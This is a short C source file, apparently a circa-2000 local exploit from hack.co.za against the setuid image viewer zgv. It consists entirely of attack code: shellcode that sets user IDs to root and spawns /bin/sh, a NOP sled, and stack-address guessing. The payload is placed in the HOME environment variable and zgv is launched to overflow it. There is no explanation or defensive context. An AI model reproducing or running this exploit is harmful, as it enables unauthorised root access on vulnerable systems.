/* ok i fixed it, -icesk */ #include #include #include #include #define BUF 1033 #define NOP 0x90 char shellcode[] =//shellcode by xdr, MAD props :> "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\x8b\x5e\x08\x8d\x4e\x08\x89\xc2\x04\x0b\xcd\x80\xe8\xe3" "\xff\xff\xff/bin/sh"; long get_sp() { __asm__("movl %esp,%eax"); } char buffer[BUF]; long esp, offset = 0; int main (int argc, char **argv) { int cont; if (argc > 1) offset = atoi (argv[1]); esp = get_sp() + offset; printf("buff:[%d] sp:[%#x] offset:[%d] return:[%#x]\n",BUF,esp,offset,esp+offset); memset (buffer, 0x90, sizeof (buffer)); memcpy (buffer + 800, shellcode, strlen (shellcode)); for (cont = 1000; cont < BUF - 4; cont += 4) *(long *) &buffer[cont] = esp; setenv("HOME", buffer, 1); execl("/usr/bin/zgv", "zgv", 0); } /* www.hack.co.za [2000]*/